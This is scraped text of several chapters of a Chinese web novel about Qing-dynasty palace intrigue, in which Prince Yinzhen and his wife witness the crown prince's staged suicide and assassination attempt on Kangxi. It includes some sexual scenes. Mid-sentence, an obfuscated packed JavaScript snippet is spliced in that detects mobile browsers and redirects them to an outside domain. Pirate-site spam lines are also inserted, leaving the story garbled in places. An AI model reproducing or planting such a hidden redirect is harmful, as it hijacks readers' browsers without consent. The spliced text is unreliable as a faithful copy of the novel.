仪欣隔着院门听得目瞪口呆,兴奋又紧张拽胤禛的佛珠,她来得挺早的,从“图你,图姚虞就开始听了。 胤禛无奈,挑眉问她要不要进去。 仪欣戳戳他的腰,进去?怎么进去? 留下两名侍卫守在门口,保护姚虞的安全。 其他的,并不是她能管的事情。 仪欣蹑手蹑脚拉着胤禛离开,胤禛只好跟着她离开,总归老八哭哭啼啼的,他也不想听。 “王爷陪我去照春芳听曲儿吧? “本王还有政事要处理。 “没事,在照春芳包厢里也能处理政务。仪欣提议,“我给王爷红袖添香,好不好? 胤禛轻笑,也不说话,就矜贵含笑任由她拉着走。 * 姚虞对外放出八福晋病危的消息,趁着夜色还是离开了。 五月初五,端午宫宴。 柳叶芊芊,惠风和煦。 老十三整月在丰台大营当差,不 你的朋友正在书荒,快去帮帮他吧 方便照拂府上。 十三福晋完颜氏有孕在身仪欣便和完颜氏一同乘马车进宫。 倒是胤禛提前两个时辰出门说找老十三有要事相商只叮嘱仪欣进宫后先去寻他。 仪欣肯定会找他的她可还没忘记宫宴上有大事发生。 马车上。 仪欣轻轻摸了摸完颜氏高高隆起的孕肚柳眉微蹙严肃着小脸叮嘱:“十三弟妹你今日可定不能乱跑若是遇到什么事情尽管来寻我。” 完颜氏弯了弯眼睛“是都听四嫂的。” 如今胤禛议事不曾瞒过仪欣她这才恍然惊觉原来太子和皇帝竟是到了水火不容的地步。 刚进宫得知胤禛在乾清宫仪欣屁颠屁颠追过去。 刘小泉情商高会来事儿又心里亲近雍亲王见雍亲王福晋到了赶忙凑上去轻声提醒:“哎呦福晋万岁爷…” 他没有说后面隐晦摇了摇头。 仪欣站在书房外的檐下眼眸微转听到茶盏砸到地上的声音一个激灵沉声问:“王爷还在里面吗?” “哎呦在呢!”刘小泉低声答道。 仪欣下定决心道:“麻烦公公进去通报一声就说本福晋前来请安。” “福晋折煞奴才了奴才这就去。” 刘小泉弯着腰恭敬又悄声走进去若是其他皇子福晋在万岁爷气头上请安他定是要搪塞过去四福晋便不同了。 他能在乾清宫站稳脚跟四爷不知提点了多少。 见刘小泉笑盈盈出来 书房内没有别的太监侍奉。 一地碎瓷片胤禛站在薄怒的康熙身后给她一个安抚的眼神。 “儿臣给皇阿玛请安。”仪欣小心翼翼避开碎瓷片落落大方跪下去。 还好那茶盏砸得不是王爷。 “起来。”康熙声音里还含着愠怒对待仪欣却很和煦“怎么今儿没跟胤禛一同入宫?” 仪欣乖巧含笑回答:“儿臣拐道等待有孕的十三弟妹王爷念着侍奉皇阿玛故而先行入宫。” 康熙抬起眼皮无奈又沉重看一眼胤禛拍了拍他的手臂“去吧开宴前陪你福晋到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429215|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 处逛逛朕没什 听说看这本书的人都是很幸运的,分享后你的运气会更棒 么事。” “是。” 距离宫宴还有半个时辰。 胤禛牵着仪欣往鹤煊殿走,仪欣左右张望一下,小声问:“王爷,皇阿玛怎么了?” 胤禛:“皇阿玛今晨截获了太子与年羹尧商议逼宫的信函。” 仪欣攥紧胤禛的手,压低声音问:“可是,太子不是要效仿唐太子李承乾,借由自尽重伤唤醒皇阿玛怜爱探视,再于毓庆宫行刺杀之事吗?” 用得着跟年羹尧商议谋反吗? 胤禛轻笑着睨她一眼,反问道:“你想想,太子无缘无故就要**吗?总要皇阿玛冤枉他一下吧。” “那信函是太子伪造后,故意让皇阿玛截获的。” 仪欣一愣。 冤枉太子,言语斥骂。 太子自戕,皇阿玛悔恨。 毓庆宫探望,再行刺杀之事。 仪欣想明白,紧张兮兮道,“王爷,太子爷好像也很聪明。” 胤禛哈哈大笑,弹她个脑瓜崩,眸光幽深带着嗜血之气,狂妄道:“你家王爷在这,谁也别想如愿以偿。” 太子的学问骑射毫无争议,权术谋略当得翘楚。 太子如同囚笼中的猛兽,他无法沾染兵权,只能壮士断腕舍弃墙头草年羹尧,取巧行刺杀之事。 中宫嫡出,天下正统。 并非轻率,而是无路可走。 仪欣安定些,神神秘秘打听:“那我们今日干什么?” 她要做点什么捣乱呢? 胤禛道:“看戏。” 仪欣:“……” … 一直到端午宫宴的丝竹声响起,仪欣这才堪堪回神,脑袋还是有些飘飘然。 她和胤禛的席面紧临太子和太子妃,时不时便能察觉到如芒在背的目光。 仪欣懵懂抬眼向上看去,上位明黄色龙袍的康熙深沉又审视地一遍遍凌迟太子。 胸膛时不时起伏,任谁都能察觉到风雨欲来的怒意。 偏偏太子察觉不到,桀骜矜贵一掸**袍,安然闲适邀胤禛痛饮。 第170章太子之谋(2) 太子自嘲想,要多饮些酒,不然一会儿撞柱自戕…很疼。 泠泠杯盏轻碰。 胤禛一饮而尽,淡淡道:“二哥,开弓没有回头箭。” 太子轻轻笑出声来,觉得杯盏饮酒不痛快,提壶大口畅饮,笑道:“四弟,生亦何难?死亦何妨?从前种种,对不住了。” 胤禛扯唇笑。 康熙见太子这副提壶畅饮的模样,又想起晨起那封谋逆信函,彻底大怒,当着宗亲后妃的面,呵斥道: “胤礽,你可知错!” 太子撑着宴席桌案摇摇晃晃起身,放声挑衅笑问:“儿臣何错之有?” 殿内丝竹之声乍然熄灭,宗亲后妃面面相觑,噤若寒蝉。 皇子均是一派严肃,竟是不由自主看向胤禛。 康熙面容冷如冰霜,沉沉望着太子猖獗挑衅的脸,威仪之势压制着太子,却不能骤然提起他谋反之事,只道: “不忠不孝,佳节在此,荒淫无度,不能为朕分忧,不能为国分忧,就连佳节祝贺,也不能为兄弟做出表率!” “只是祝贺这般小事吗?” 太子胤礽微醺踱步至殿中央,扬着下巴与康熙对视,熟悉又相似的丹凤眼堪堪相交,“那儿臣背诗一首,为皇阿玛佳节助兴。” 康熙沉默。 太子胤礽哈哈大笑,耿介疏狂扯了扯衣领,不顾天家威仪,朗声道: “万事令人心骨寒,故人坟上土新干。” “淫坊酒肆狂居士,李下何妨也整冠!” 说完,太子将酒盏砸到地上,将黄庭坚诗中拒绝规训展现得淋漓尽致,众人皆惊,不知如何是好。 “放肆,混账东西!”康熙大怒,“淫荡而不知羞耻,谋逆不知低贱,生而克母,对父不孝,何堪为储君?!何堪为人子?!” 谋逆? 来了,他久等了。 胤礽低低理直气壮笑问:“儿臣何事谋逆?” 陆陆续续有皇子跪地求情,只道皇阿玛息怒。 五爷敦厚听话,又向来不掺和储位之争,倒是又直言道:“皇阿玛三思,烦请皇阿玛明察。” 胤禛和老十三亦下跪附和。 康熙怒气冲冲,风声鹤唳,看着一个个皇子都是各怀鬼胎。 “未曾谋逆?你与年羹尧密谋的信函,如今就摆在朕的御案之上!朕给你留着颜面,胤礽,你实在让朕忍无可忍!” 太子神情躲闪,又后退一步。 仪欣看着太子装模作样,惊得目瞪口呆,若是她不知情,怕是以为太子心虚。 殊不知太子只待康熙道出“年羹尧”三字。 康熙见胤礽心虚,沉下面色,更是狠戾威严,“朕就先斩年羹尧,再废你的储君之位!” 仪欣察言观色,见太子妃惶然下跪,也悻悻然跪下。 却感觉膝下软乎乎的,原来是胤禛给她塞了护膝。 戏还很长,假意真心,还有的看呢。 胤礽回神后理直气壮:“皇阿玛说儿臣谋逆?可是这大清江山,从儿臣生来便是独占三分的,儿臣为何谋逆?” 康熙与太子针锋相对,丝毫不相信太子说得话,只吩咐梁九功将御案信函取来。 梁九功闻言遵旨。 殿内仍有此起彼伏的“皇上息怒”声劝说。 半晌。 太子闭了闭眼睛,两行清泪落下,苦笑呢喃道:“阿玛曾经将儿子抱在膝头,含笑温言要和儿臣做一对名垂青史的圣君父子。” 康熙一愣,又冷硬了神色。 胤礽乘胜追击,继续回忆幼时景象:“阿玛疼爱儿子的时候比谁都爱,怎么就变成一条条罪名了呢?” “儿臣是元后嫡子啊!才华横溢是皇阿玛夸的,意气风发是皇阿玛捧的…” 太子的眸色随着梁九功取回信件的步伐移动,他缓缓吐出几个字,“郁郁而终是皇阿玛逼的!” 康熙刚接过信函,闻言目眦欲裂,就见太子转身飞奔撞柱。 “保成…!不要!”康熙大喝一声,踢翻挡在身前的席面,狂奔过去。 玄烨爱保成,但康熙忌惮太子。 “保成”一出,太子之谋已成。 至此。 枉入红尘若许年,父慈子孝不如权。 … 胤禛紧紧捂住仪欣的耳朵,神色淡漠不兴波澜,轻轻垂着眼睛,看不出在想什么。 老十三成功将太子救下,缓缓朝他点了点头。 人群中,胤禛和老十三对视。 血液里那股冷血无情、沉默恣睢的心绪在疯长,他感觉他的心脏极其脆弱,他宁可看得不清,也不要被虚假演戏缠绕着。 直到,仪欣缓和僵硬的身子,赶紧捂住了他的耳朵。 胤禛低着头把她拉到怀里,在她耳边碰了碰,低声说:“乾清宫的事情还没完,仪欣早些出宫,在家等我回来。” 仪欣动了动脑袋。 回到雍亲王府,仪欣一刻也不得闲,在前院召晴空议事。 晴空为她打理嫁妆,又掌管着城南施善的账本。 仪欣亲眼目睹太子以性命算计康熙,渐渐清楚父子之争只是开端。 这把野火什么时候燃到雍亲王府呢? 她有点胆小,又觉得自己胆子很大。 她向来配得感极高,如今仿佛无师自通一般,天家父子尚且如此,若是有一日王爷的兄弟继位,王爷不会有好下场的。 既然如此,倒不如她和王爷做这大清的主子。 晴空心细如发,安静立侍仪欣身侧。 仪欣咽了咽喉咙间的酸水,轻声道:“晴空,给佟佳氏、西林觉罗氏、钮祜禄氏、富察氏及其直系姻亲、完颜氏还有…李卫、二嫂的父亲宋秦将军的端午贺礼再加四成。” “还有随着本福晋参与城南施善的上三旗福晋们,本福晋要亲自写信,逐一勉励。”仪欣揉了揉自己的手腕,示意晴云笔墨伺候。 仪欣惯爱写信,每每稀里哗啦都要写一篇又一篇。 今日却文字寡淡无味,只有上位者勉励的寥寥几语。 只是,她的行楷确实称得上俊美漂亮,像极了胤禛。 写完信后,仪欣提着裙摆小跑到寝殿,拆了发簪,褪去吉服,扔到地上,赶紧将自己埋到被衾的角落里。 觉得不踏实,她将胤禛的寝衣翻箱倒柜都找出来,抱着缩成一团。 她又变回了懦弱胆怯的小老鼠。 第171章夜半低哄 胤禛在被衾里找到蜷缩在角落的小老鼠时,已经是深夜了。 仪欣哭湿了五件他的寝衣,坐在一团被衾里,漂亮的眼睛通红,可怜兮兮望着他,扑过来就喊王爷。 胤禛赶忙将她全部抱在怀里,哄孩子似的拍着,“乖,没事了没事了。” 她生而安然,娇生惯养,没经历过任何风波,梦里有点血腥气都会哭泣胆颤,今天不知有多担惊受怕,又联想脑补些什么。 老十三救下太子有功,如今仍旧守在毓庆宫,太子昏迷不醒,康熙亦是守在保成床前。 假装兄友弟恭的阿哥不在少数,胤禛则是披星戴月回府。 “王爷,你能不能把我抱紧一点?”仪欣抱怨,哽咽挠挠他的手背。 胤禛见她白皙娇嫩的胳膊上都有些红痕,无奈道:“抱得很紧了,乖乖。” 仪欣还是不痛快:“我觉得不紧。” 胤禛失笑,低头轻咬她软乎乎的小耳朵,低声逗她问:“是不是又想要了?是不是做得时候才是最紧的?” “才不是!” 仪欣扎到他怀里,胡乱扯他的蟒袍,拽得凌凌乱乱,胤禛笑着任由她施为,仰着头方便她扯得痛快。 她不痛快的时候惯爱闹人,有时候爱拆家。 他的目光看向那一坨皱巴巴哭湿的寝衣,揣测上面必定是眼泪混着鼻涕。 仔细辨认没有她亲自做的那件,胤禛又松口气。 那件寝衣他舍不得穿,妥善收着,幸而没被她找到,才算躲过一劫。 仪欣不敢问宫里的事情,知道太子没死之后,就专心抱着胤禛来来回回啃,又让他替她揉膝盖,给她讲故事。 胤禛揶揄轻哄着,到处捏捏她,温声给她编了个小粘糕炒鸡蛋的故事。 他向来把仪欣当孩子照顾,抱着她在寝殿来回溜达,纵使她已经展颜安静下来,他亦没有松懈力气。 仪欣撒娇又检讨自己:“王爷,我今天就看着太子和皇阿玛互相斥骂,眼睁睁看着太子撞柱,虽然我知道是假的,但是还是吓得心里打哆嗦,我控制不住自己。” 胤禛心中轻叹。 他或许做不了她的师长。 师长需要磨砺学生,可他只想呵护妻子。 胤禛抱着她温声问:“那仪欣下次还要看吗?” 仪欣又笃定点点头。 胤禛笑她又菜又爱玩。 转而,他湛湛有神的眼睛看着她,端正沉稳又有力量,如同高山一般可靠笑道: “本王这么多年苦心经营,此时带着吾妻见识阴私,便有能力让你如鱼得水,而并非担惊受怕,明白吗?” 仪欣抽噎一下:“可是,我忍不住不哭。” 胤禛把她抱得高一点,“没责怪你哭,会认真对待你的每一滴眼泪。” 仪欣心里满满涨涨的,挣扎着要自己站到地上,殷勤又娇气替他宽衣解带。 胤禛换下朝服,却没有寝衣可换,不是被她哭湿了,就是乱糟糟散落在地上。 他随意披着里衣,抱胸倚着床榻,似笑非笑盯着装无辜的仪欣。 仪欣先发制人,又要哭闹:“怎么不见我做得那件寝衣?王爷就算嫌弃它不好看,也不能随便找个角落打发了它吧?” 此话一出,仪欣自己都有点不信,憨笑挠了挠头。 胤禛把她拉到怀里揉了揉,无奈弯唇道:“你就闹吧。” 苏培盛将仪欣做的寝衣打理好,伺候胤禛换上。 仪欣转着圈欣赏一会儿,再次肯定了自己超然的绣工。 胤禛看她就清楚她在想什么,亦是夸赞她绣工好,做的寝衣绵软舒适,是他穿过最舒服合身的寝衣。 仪欣骄傲得尾巴险些翘到天上去,恨不得现在就穿针引线,给胤禛再做个十件八件。 晴云悄声端着一碗鸡丝面进来,胤禛抬手指了指,晴云轻轻放在指定的矮案上,轻手轻脚退下。 胤禛笑着把她抱到怀里,坐在矮案前,轻叹说:“宫宴上怕是光顾着看戏,没吃几口饭,胃疼不疼?” 仪欣摇摇头,又点点头,“感觉有点空空的,不舒服。” 刚刚光顾着害怕,哪里顾得上胃,他一问才开始疼,还有些冒酸水。 胤禛挑了挑鸡丝面,又吹了吹,当即热腾腾的香气往仪欣鼻子里钻,仪欣也鼓着腮帮子跟他一起吹气。 仪欣忍不住感叹,“好香啊。” 胤禛笑,好可爱。 他挑起碗中的鸡丝面,用玉箸截成小段,一点点喂给她。 仪欣吃了几口才感觉胃里暖融融的,不适感减轻很多,心安理得倚在他怀里一口口吃面。 她用膳向来细嚼慢咽,挑食又吃得少,惯爱吃零嘴,不分黑白用糕点当饭吃。 这么久,胤禛给她改过来许多,胃口也养好许多。 仪欣吃了小半碗,胤禛便撂下象牙筷,递给她一盏漱口茶。 “我…我还没吃饱…”仪欣小声抱怨,又下意识捧着漱口茶。 胤禛:“太晚了,不能吃太多,听话。” 仪欣咕噜咕噜漱完口,温馨趴在他的肩膀上,等着胤禛将剩下的鸡丝面吃完,一起回床榻睡觉。 收拾完后,胤禛把仪欣塞到被衾里,随后在外侧躺下。 胤禛:“若是今晚做噩梦,随时叫醒我。” 仪欣搂住他的腰,黏糊着缠到他的身上,打个哈欠轻哼道:“难道我是什么胆小鬼吗?” “当然不是,”胤禛拍着她的屁股哄睡,闭着眼耐心应和道:“京中谁人不知,四福晋胆子最大。” 仪欣这才心满意足睡了。 … 康熙当日发觉太子与年羹尧的信函是有人蓄意伪造,发了大脾气,甚至打杀了不少亲信暗卫,清查此事。 对太子的愧疚也愈发浓厚。 令朝野震惊的是,老十三因救下太子有功,被封为多罗怡郡王,“怡”意为安乐喜悦。 胤禛得到这个消息的时候,只是轻轻一笑,并不多么惊诧。 老十三到雍亲王府的时候,苏培盛拂袖端端正正行个大礼,脸都笑起了褶子,“哎呦,奴才给怡郡王请安!” “起吧。”老十三跟进家门似的在前院溜达着,笑着问,“四哥呢?” 苏培盛吩咐小厮伺候十三爷在书房用茶,笑道,“王爷跟福晋在正院有要事相商。” 十三爷是自己人,想必不会对王爷哄福晋这等寻常事感觉怠慢。 老十三挑眉抿一口茶,看了看天色,听懂苏培盛的言下之意,耸耸肩,这都什么时辰了四哥还不起床?揶揄想,四哥可不如从前了。 第172章 怡郡王 正院。 胤禛正跟粘人精斗智斗勇,他向来拗不过她,这几日他整日守在毓庆宫,陪伴康熙守在太子床前。 仪欣自然知道太子要借此刺杀康熙,说什么都黏着不让胤禛去,日日清晨都要哄一顿。 胤禛赤裸着胸膛,眯着眼睛含笑睨着仪欣,仪欣趴在他的胸膛上,小脸红扑扑的,面含春色,娇娆动人,软乎乎无骨般埋在他的怀里,细细喘着气。 乌润润的眼睛不满地看着胤禛。 胤禛含笑无奈遮住她作乱的眼睛。 “乖乖,别这样看着我,我会以为你没玩够。” “王爷今天陪我,好不好?” 仪欣软绵绵拉着他的手放到自己腰间,胤禛自然而然替她揉着腰。 “好,今天陪你,”胤禛笑了,亲了亲她的额头,任由她趴在自己身上。 苏培盛的声音在外殿响起,“王爷,怡郡王到了,如今在书房等您。” “问他午膳用什么,将本王珍爱的胭脂紫地珐琅彩九秋花瓶给你十三爷贺喜,晚些时候本王就过去。” “欸!奴才这就去。”苏培盛小跑着离开。 仪欣竖了竖脑袋,眼睛亮晶晶看着他,崇拜夸赞道:“王爷,你真是料事如神,十三爷果然封郡王爵位了!” 胤禛胸膛轻颤,低低笑出声来,拍一下她的屁股,胳膊轻抬重新解落帷幔,捏着她的小脸温柔吻上去。 她最会夸,她最乖,她最担心他,她最好。 她在上面头发呼呼时不时翘起来很可爱;牙齿咬住樱唇努力不出声很可爱;她的小点心一晃一晃很可爱;小手撑在腰腹却没有力气很可爱;一抖一抖很可爱…… 总之他觉得她什么都很可爱。 “王爷……”仪欣朦胧呢喃。 侵略的眼神,克制的身体。 胤禛低沉闷吭。 情到深处时,仪欣总会下意识索吻寻求安慰,胤禛却欲吻不稳,含笑引着她主动亲上来。 “乖乖,再来一次还受得住吗?” “嗯~” 仪欣哼唧了一声,胤禛就当她答应了。 … 胤禛穿戴整齐到前院时,确实该用午膳了。 老十三拄着下巴,欲言又止看着胤禛。 四哥最是勤奋,从未有过这么晚才起的事情,是不是太子之事让四哥太累了? 真是。 胤祥:“四哥,四嫂怎么没过来?” 胤禛:“她在午睡,已在正院用过午膳了。” 胤禛撩袍在膳桌前坐下,心情很好,漫不经心给胤祥倒上清酒桃花醉,打趣道: “十三爷大喜啊?” 胤祥笑着温和一饮而尽,给胤禛倒酒,目光交汇,“弟弟只愿四哥早日大喜!” 胤禛笑起来。 不管太子怎么折腾,他们该拿得好处还是要顺手拿着的。 老十三实在不得皇阿玛重视,从前皇子大封,老十四因亲近老八的缘故,封了贝子。 他发现皇阿玛却唯独漏下老十三没有加封,不管是平衡之术也好,单纯不喜也罢,胤禛私下为老十三请封贝勒之位。 如今,老十三救下“自戕”的太子,顺利得封郡王爵位,只待丰台大营处差事坐稳。 “皇阿玛还在毓庆宫吗?” “是,皇阿玛自从查到那封信函是伪造的,便对太子愧疚不止,衣不解带亲自照料昏迷不醒的太子。” 胤禛缓缓扯了扯唇,笃定轻叹:“皇阿玛愧疚太子,但是…也会毫不犹豫除掉年羹尧。” 胤祥亦是点点头。 太子本来就要舍弃年羹尧,只能说神仙打架,小鬼遭殃。 “四哥,太子应是最迟三日后动手,你万事小心。” 胤禛缓缓吐出口气,“你救下太子辛苦了,剩下的事就交给我。” 午膳时,二人只是随口闲谈几句,胤祥救下太子,胤禛会去救康熙。 此间事宜仍需一环一扣算计,用过午膳,胤禛和胤祥回书房议事。 胤禛攥住胤祥的手腕捏了捏,胤祥顿住,纳闷看着他。 四哥牵他手干什么? 胤禛坐下,无奈问:“那日不是让你把太子扔一边去吗?怎么任由他撞你身上?衣裳脱了,爷看看你的伤。” “伤不碍事。”胤祥笑笑,扔一边去怕他手上没个轻重,把太子摔死了怎么办? 胤禛随意拍了拍他的肩膀后背,疼得胤祥龇牙咧嘴的,只能老老实实解开衣袍。 太子演戏很卖力气,胤祥背后一片青紫,他当时觉得手臂有些脱臼,又怕后续出问题,咬牙自己将脱臼的手臂装回去,便随康熙和昏迷不醒的太子一同去了毓庆宫。 “没用药?” “没…防发热,喝了副汤药。”胤祥不在意憨笑道。 胤禛淡淡看他一眼,“你自小便是如此,从前随我治水泄洪,便是不要命往前冲,救个孩子敢往湍急河道里钻。” “事后有个剐蹭都闭口不谈,闷头自己扛着。本王不需要你卖命,若是你有个三长两短,漫漫长路,本王去哪里再找个弟弟?” 胤祥红了眼眶,赤裸着精壮的后背,前几日太子砸在他身上,他重重撞到镶金器的石柱上的闷吭,现在才开始疼。 “四哥,有点不舒服,这几日整日守在毓庆宫装模作样,可能还有点发烧。” 他救了太子,总不能半途而废,守着太子和皇阿玛,皇阿玛才能记得他的功劳。 胤禛提笔写着方子,没好气道:“本王如今习得些医术,拿你练练手。” 胤祥高兴起来,“欸!四哥尽管开药,弟弟喝就是了。” 临近黄昏。 宫里传来消息,太子病危。 胤禛和胤祥起身准备入宫。 仪欣也得到消息,咬牙切齿恨不得灌太子一碗鹤顶红,他遛狗呢?病危病危病危,偏偏皇阿玛信得不行!干脆别治了,直接嘎嘣算了。 “王爷,十三弟,不能用过晚膳再入宫吗?” 胤禛无奈,捏捏她的指尖,“不可以的。” 仪欣亦步亦趋送着他们到王府门口,塞给他们两包小点心。 胤禛推脱,“不带了,我和十三弟骑马入宫,等我回来。” 老十三飞身上马,朗声道:“四嫂,我们走了,不必担心。” 胤禛和胤祥策马没行几步,便遇上同样骑马入宫的老八老九老十。 老九不耐烦,一打缰绳轻嗤道:“不知道太子爷又是闹哪一出,不是没撞到柱子吗?” 第173章刺杀康熙 老十笑着打圆场:“四哥,我们晚膳尚未过半便出府入宫了,九哥也是实在忧心太子。” 老八格外沉默,没有搭话,直直看着远方的路。 胤禛没什么想说的,随意点点头,跟老十三并驾齐驱。 老九扯了扯唇,阴阳怪气道:“嗯~爷担心太子爷~” 胤祥忍不住笑出声来,胤禛无奈看他一眼,喜怒不形于色,怎么越活越回去了。 老八微微弯了弯唇,隐晦摇头提醒老九在毓庆宫不可如此直言。 老九阴森森道,“这太子整日昏迷不醒,若有人谣传是巫蛊诅咒,你们说,皇阿玛会不会跟关老大一样,把咱们也幽禁起来?” 没有人搭话。 * 毓庆宫。 胤禛垂眼换一副面孔,满目担忧看着昏迷不醒的太子,逾矩地握住康熙的手腕,轻声劝道,“不妨让儿臣守着太子殿下吧,皇阿玛先回乾清宫休息。” 老三,老八,老九,老十,十三都静静站在胤禛身后,附和他的话。 康熙疲倦摆摆手,拍了拍胤禛的手背,安慰道,“朕无碍,你坐。” 胤禛担忧挨着康熙坐下,其余人仍旧站着。 此时,也渐渐感觉到,康熙最尊贵亲近的儿子,一个在床榻上躺着,一个就在康熙的身边坐着。 老八面色如常,心中却有愁云,皇阿玛本就是为了压制太子才再次重用他,如今太子重病,跟皇阿玛关系重新恢复,皇阿玛或许便不再需要他这块“磨刀石”。 这对他来说,并不算喜讯。 纵使他如今没有一争皇位的心思,却还是需要自保的资本。 老三温和浅笑,心里却恨得紧,他序齿在胤禛之前,却比他晚三年封亲王之位,如今更是嫡庶之差,不得不低他一头。 “皇阿玛用过晚膳了吗?” “不曾,朕心烦忧,寝食难安。” 康熙凝视着太子苍白的脸,反思数日,他们父子二人何至于走到今日这般田地。 胤禛抿唇,余光看着太子微微轻颤的眼皮,他心尖一动,隐晦勾了勾唇。 胤禩主动问了几句太子的身体问题,康熙缓缓回头,审视寝殿内一堆儿子,觉得心中烦闷异常。 “罢了,你们回吧。” 老九嗤之以鼻,拱手扭头就走,遛狗呢? 老十拉扯着他的衣袖却没拉住,抬腿赶忙追了上去。 胤禩道:“皇阿玛,让儿臣留在毓庆宫照顾太子殿下吧。” 康熙揉了揉眉心,道:“都走,胤禛留下。” 胤禛笑了笑,示意他们放心,他会照顾好太子殿下的。 老十三紧张看着胤禛,胤禛叮嘱一句:“回去把药喝了。” 康熙这才想起来老十三的伤,疲倦不堪叮嘱一句:“十三,好生休息,这段时日不必来毓庆宫了。” “是,皇阿玛,儿臣告退。”老十三胤祥谨慎行大礼,妥善退出去,掩上门。 寝殿内只剩康熙和胤禛,还有昏迷不醒的太子。 自然,暗处有多少双眼睛不必提。 毓庆宫的陈设典雅古朴,以楠木雕花隔扇分隔空间,胤禛坐在床榻前圆凳上,指节漫不经心搭在膝头。 康熙明显精力不济。 胤禛:“阿玛是不是累了?不如靠在儿子的肩膀上歇息一会吧。” 只剩父子二人,胤禛的称呼又熟练变回“阿玛”和“儿子”。 床榻上,太子指尖动了动。 康熙无奈笑:“净是提些不像话的事情。” 胤禛:“君为臣纲,父为子纲,阿玛为君为父,自然该替儿子遮风挡雨,儿子势单力薄,却也想有一处肩膀给阿玛栖息依靠。” 康熙一怔,纠缠许久的君臣父子的矛盾感撕扯着他,听到胤禛的话,心酸又难堪。 他不年轻了,鬓角染上岁月风霜下的斑白,怕是走在人间归途。 他昼夜殚精竭虑,为皇子野心日渐膨胀而忧虑,他不得不平衡压制,如今胤礽又于宗亲面前自戕,他找不到与皇子们洽和之法。 如今竟豁然开朗,他第一次觉得可以依靠他的儿子。 而不是他们虎视眈眈要在他的皇位上撕下块肉来。 康熙招了招手,“靠近些。” 胤禛弯唇,主动拉着圆凳坐到康熙身旁。 康熙将脑袋靠在胤禛的左肩,他骤然发觉胤禛的肩膀已经足够宽阔,心中竟涌现些许踏实感。 胤禛的身上有浓浓又冷冽的青松香,染着些许清甜细腻的花粉温润的香气,靠近些许,还会闻到极轻的檀香气,仿佛是从骨子里溢出来的。 让人心安。 胤禛逾矩将手搭在康熙的膝头,稳住身形,端正坐着,凝视着太子的脸。 两盏茶的功夫。 太子漆黑如墨的深瞳对上胤禛的桃花眼。 胤禛紧握住康熙的手,缓缓道:“阿玛,太子殿下醒了。” 康熙大喜,睁开眼睛,眼里还有不容忽视的红血丝,起身要查看太子的身体。 下一秒,太子砸碎床头花瓶。 “嘭——” 四名蒙面侍卫霎那间破窗而入。 手中长剑渗出点点寒光。 康熙目眦欲裂,回过神来,只看到胤礽淡定自若起身,抄起床榻深处藏着的剑戟,直指康熙。 梁九功推门进来,胆战心惊跪下去:“太子爷!这可是万岁爷!您可不要做糊涂事啊!” 康熙神情肃穆又威仪,不见丝毫慌乱,却将胤禛往身后挡了挡,沉声问:“太子,你想弑君弑父吗?” 太子看到康熙的举动,低低笑出声来,“皇阿玛,儿臣久等了。” 康熙心中愤懑,面上却不显,打量着周围围着的侍卫,帝王之气不遮不掩:“乱臣贼子,放下剑戟,朕饶你们九族不死!” 天空惊雷阵阵,哗然间下起瓢泼大雨,已是入夜辰时初,一道闪电刮过毓庆宫绿色琉璃瓦。 胤禛低眉抬眼,随意戏谑勾了勾唇。 太子手心的汗水浸湿剑柄,抬手朝康熙刺了过去。 开弓没有回头箭,四五名侍卫蜂拥而上,均是一等一精挑细选的亲卫。 梁九功扑上来替康熙挡剑,“护驾!护驾!” 胤禛抬腿将圆凳踹到太子腰腹。 太子不可能允许康熙出这扇门,刚退两步,康熙一个踉跄,靠着胤禛倒下去。 香炉袅袅青烟温乎乎地冒。 “皇阿玛指望着皇褂亲卫吗?”胤礽疯魔笑出声来,剑指康熙,“儿臣是您教出来的,若是您将这大清江山妥善交到儿臣手里,儿臣会为您颐养天年。” 第174章二废太子 “世上焉有三十余载太子乎!”太子冷哼问。 康熙冷了心,冷漠看着胤礽癫狂狠厉的模样,“朕能教得你,就能废你,你指望着三瓜俩枣的安排来弑君夺位,朕觉得很没意思。” 胤禛无语看康熙一眼,若非他不知实情,怕是觉得皇阿玛早有安排,但是没有啊,事发突然,没有安排啊。 既然皇阿玛没有安排,那还要毒舌挑衅太子干什么?干什么! 太子猩红眼尾,示意他们动手。 寝殿内打斗声很大,花瓶梨花架桌案,能砸得都砸了。 庭间呵斥和交战声此起彼伏,牵制着康熙带来的亲卫,只有几个手无缚鸡之力的御前太监在寝殿内围着康熙和胤禛。 若是天亮之前,康熙和雍亲王暴毙,太子一子落下,满盘皆活。 若是没有,攻守之势异也。 侍卫仍旧手上留有余地,不敢亲自弑君,但是对胤禛却并不客气,转眼间划了他左臂一剑。 “胤禛!”康熙冷瞥太子,紧紧捂住胤禛的肩膀,他的胸膛剧烈起伏,滔天怒意在心间氤氲着。 这是他养出来的儿子,这是他从小便偏向的储君。 “皇阿玛,孤需要一封禅位诏书。” “朕的江山,”康熙温和又刺耳道,“绝对轮不到爱新觉罗胤礽做主。” 胤礽眼前一片猩红,提剑跳下床榻,砍向康熙,转头刺向胤禛,毫无理智杀红了眼。 胤禛替康熙挡了一剑,康熙右臂也受了伤。 胤禛见到康熙的血,兵荒马乱里踹倒一个侍卫,趁着奴才们忠心掩护,逼仄间拽着康熙就往外跑。 康熙身体强健,能跑;胤禛跑得很快,毕竟人年轻,手臂上划了两刀倒是不碍事。 “皇阿玛,您的亲卫暗探呢?都下旨砍死了?”胤禛边跑边问。 康熙捂着伤口,“朕交给你的暗卫呢?” 胤禛道:“阿玛交给儿子的暗卫,儿子有别的用处,现在怕是正忙着呢,暂时指望不上。” 若不是此时在奔逃,身后剑戟声不断,康熙真的想停下来踹他两脚,但是看着天际愈发阴沉的乌云,竟有些黑云压城的凛然。 毓庆宫萧索异常,太子妃和弘皙的嫡福晋带着府上女眷到甘露寺为太子祈福三日。 毓庆宫只有太子和弘皙两个正儿八经的主子。 太子准备的人自然不止四五个,他预谋已久,又利用康熙最愧疚不设防之时,此时,御前之人,难免渐显颓势。 突然,身后一阵躁乱巨响,火光冲天,竟是火器喷薄而出! 黑云滚滚,侵人五感。 火器的威力太猛烈,甚至让初夏时节迸发出盛夏的燥热。 